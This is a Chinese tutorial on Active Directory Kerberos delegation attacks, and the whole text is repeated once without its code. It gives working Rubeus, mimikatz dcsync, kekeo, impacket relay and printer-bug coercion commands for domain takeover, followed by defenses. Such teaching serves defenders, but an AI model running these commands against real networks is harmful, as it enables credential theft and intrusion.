内网渗透-委派攻击详解
字数 1582 2025-08-04 22:51:28

域委派攻击详解与防御指南

一、域委派基础概念

1.1 什么是域委派

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当用户A访问服务B时,服务B可以拿着用户A的凭证去访问服务C,这个过程称为委派。

1.2 委派分类

委派攻击分为三种主要类型:

  1. 非约束委派攻击
  2. 约束委派攻击
  3. 基于资源委派攻击

二、非约束委派攻击

2.1 非约束委派概述

  • 定义:服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟该用户访问任意服务。
  • 配置要求:需要SeEnableDelegation特权,通常仅授予域管理员。
  • 属性标识
    • 机器账号:userAccountControl属性包含WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION (0x81000=528384)
    • 服务账号:userAccountControl属性包含NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION (0x80200=524800)

2.2 攻击流程

  1. 用户访问配置了非约束委派的服务器(ServerA)
  2. DC检查ServerA的机器账号属性,发现是非约束委派
  3. DC将用户的TGT放在ST票据中发送给ServerA
  4. ServerA验证ST票据并获取用户TGT,存储在lsass进程中
  5. 攻击者获取ServerA权限后,可利用此TGT模拟用户访问任何服务

2.3 检测方法

使用PowerView查询:

Import-Module .\PowerView.ps1
Get-NetComputer -Unconstrained -Domain redteam.club  # 查询非约束主机
Get-NetUser -Unconstrained -Domain redteam.club | select name  # 查询非约束用户

使用AdFind查询:

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  # 非约束委派主机

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  # 非约束委派用户

2.4 攻击案例

  1. 诱导域管理员访问配置了非约束委派的机器
  2. 导出域管凭据:
    kerberos::ptt 凭证名称
    kerberos::list
    
  3. 访问域控:
    dir \\ad.redteam.club\c$
    

2.5 非约束委派与Spooler服务结合攻击

  1. 使用Rubeus监听事件:
    Rubeus.exe monitor /interval:1 /filteruser:ad1$
    
  2. 利用打印服务强制域控验证:
    SpoolSample.exe AD ad1 12server2
    
  3. 获取并处理TGT票据:
    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
    
  4. 注入票据:
    Rubeus.exe ptt /ticket:base64
    
    或使用mimikatz:
    kerberos::ptt XXX.kirbi
    lsadump::dcsync /domain:redteam.club /all /csv
    

三、约束委派攻击

3.1 约束委派原理

  • 引入了S4U协议扩展:
    • S4U2Self:代表自身请求针对其自身的可转发的Kerberos服务票据(ST1)
    • S4U2proxy:以用户的名义请求其它服务的ST2
  • 约束委派限制了S4U2proxy扩展的范围

3.2 攻击流程

  1. 获取配置了约束委派的服务账号的密码或Hash
  2. 伪造S4U请求:
    • 请求服务用户的TGT
    • 使用该TGT通过S4U2proxy协议获取目标服务的ST

3.3 检测方法

使用AdFind查询约束委派用户:

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

3.4 攻击案例

  1. 使用kekeo请求服务用户TGT:
    tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
    
    或使用NTLM Hash:
    tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX
    
  2. 伪造S4U请求获取ST:
    tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@reteam.club /service:cifs/ad1.redteam.club
    
  3. 导入票据访问目标服务:
    kerberos::ptt TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi
    

四、基于资源的约束委派(RBCD)

4.1 RBCD原理

  • Windows Server 2012引入
  • 机器自身可以决定谁可以被委派来控制它
  • 通过设置msDS-AllowedToActOnBehalfOfOtherIdentity属性配置

4.2 攻击方法

  1. 查询域普通用户加入的机器:
    // C#代码查询mS-DS-CreatorSID属性
    
  2. 使用工具修改委派:
    SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club
    
  3. 获取服务票据:
    python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator
    
  4. 获取主机权限:
    export KRB5CCNAME=administrator.ccache
    python3 smbexec.py -no-pass -k 12server2.redteam.club
    

4.3 利用普通域账号提升权限

  1. 创建机器账号:
    python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"
    
  2. 中继攻击:
    python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug
    
  3. 触发打印机漏洞:
    python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139
    

五、防御措施

  1. 高权限账号设置禁止委派属性

    • 将高权限账号加入Protected Users组(Windows Server 2012 R2及以上)
  2. 加强Kerberos认证安全

    • 禁用DES和RC4等弱加密算法
    • 优先使用AES256加密
  3. 监控与审计

    • 监控非约束委派和约束委派配置变更
    • 审计敏感服务账号的委派设置
  4. 最小权限原则

    • 仅为必要服务配置委派
    • 限制委派范围到最小必需服务
  5. 定期检查

    • 定期检查域内委派配置
    • 及时撤销不必要的委派权限

通过以上详细分析,我们可以全面了解域委派攻击的各种技术细节、检测方法和防御措施,为域安全防护提供有力支持。

域委派攻击详解与防御指南 一、域委派基础概念 1.1 什么是域委派 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简言之:当用户A访问服务B时,服务B可以拿着用户A的凭证去访问服务C,这个过程称为委派。 1.2 委派分类 委派攻击分为三种主要类型: 非约束委派攻击 约束委派攻击 基于资源委派攻击 二、非约束委派攻击 2.1 非约束委派概述 定义 :服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT模拟该用户访问任意服务。 配置要求 :需要SeEnableDelegation特权,通常仅授予域管理员。 属性标识 : 机器账号:userAccountControl属性包含WORKSTATION_ TRUST_ ACCOUNT | TRUSTED_ FOR_ DELEGATION (0x81000=528384) 服务账号:userAccountControl属性包含NORMAL_ ACCOUNT | TRUSTED_ FOR_ DELEGATION (0x80200=524800) 2.2 攻击流程 用户访问配置了非约束委派的服务器(ServerA) DC检查ServerA的机器账号属性,发现是非约束委派 DC将用户的TGT放在ST票据中发送给ServerA ServerA验证ST票据并获取用户TGT,存储在lsass进程中 攻击者获取ServerA权限后,可利用此TGT模拟用户访问任何服务 2.3 检测方法 使用PowerView查询: 使用AdFind查询: 2.4 攻击案例 诱导域管理员访问配置了非约束委派的机器 导出域管凭据: 访问域控: 2.5 非约束委派与Spooler服务结合攻击 使用Rubeus监听事件: 利用打印服务强制域控验证: 获取并处理TGT票据: 注入票据: 或使用mimikatz: 三、约束委派攻击 3.1 约束委派原理 引入了S4U协议扩展: S4U2Self:代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) S4U2proxy:以用户的名义请求其它服务的ST2 约束委派限制了S4U2proxy扩展的范围 3.2 攻击流程 获取配置了约束委派的服务账号的密码或Hash 伪造S4U请求: 请求服务用户的TGT 使用该TGT通过S4U2proxy协议获取目标服务的ST 3.3 检测方法 使用AdFind查询约束委派用户: 3.4 攻击案例 使用kekeo请求服务用户TGT: 或使用NTLM Hash: 伪造S4U请求获取ST: 导入票据访问目标服务: 四、基于资源的约束委派(RBCD) 4.1 RBCD原理 Windows Server 2012引入 机器自身可以决定谁可以被委派来控制它 通过设置msDS-AllowedToActOnBehalfOfOtherIdentity属性配置 4.2 攻击方法 查询域普通用户加入的机器: 使用工具修改委派: 获取服务票据: 获取主机权限: 4.3 利用普通域账号提升权限 创建机器账号: 中继攻击: 触发打印机漏洞: 五、防御措施 高权限账号设置禁止委派属性 将高权限账号加入Protected Users组(Windows Server 2012 R2及以上) 加强Kerberos认证安全 禁用DES和RC4等弱加密算法 优先使用AES256加密 监控与审计 监控非约束委派和约束委派配置变更 审计敏感服务账号的委派设置 最小权限原则 仅为必要服务配置委派 限制委派范围到最小必需服务 定期检查 定期检查域内委派配置 及时撤销不必要的委派权限 通过以上详细分析,我们可以全面了解域委派攻击的各种技术细节、检测方法和防御措施,为域安全防护提供有力支持。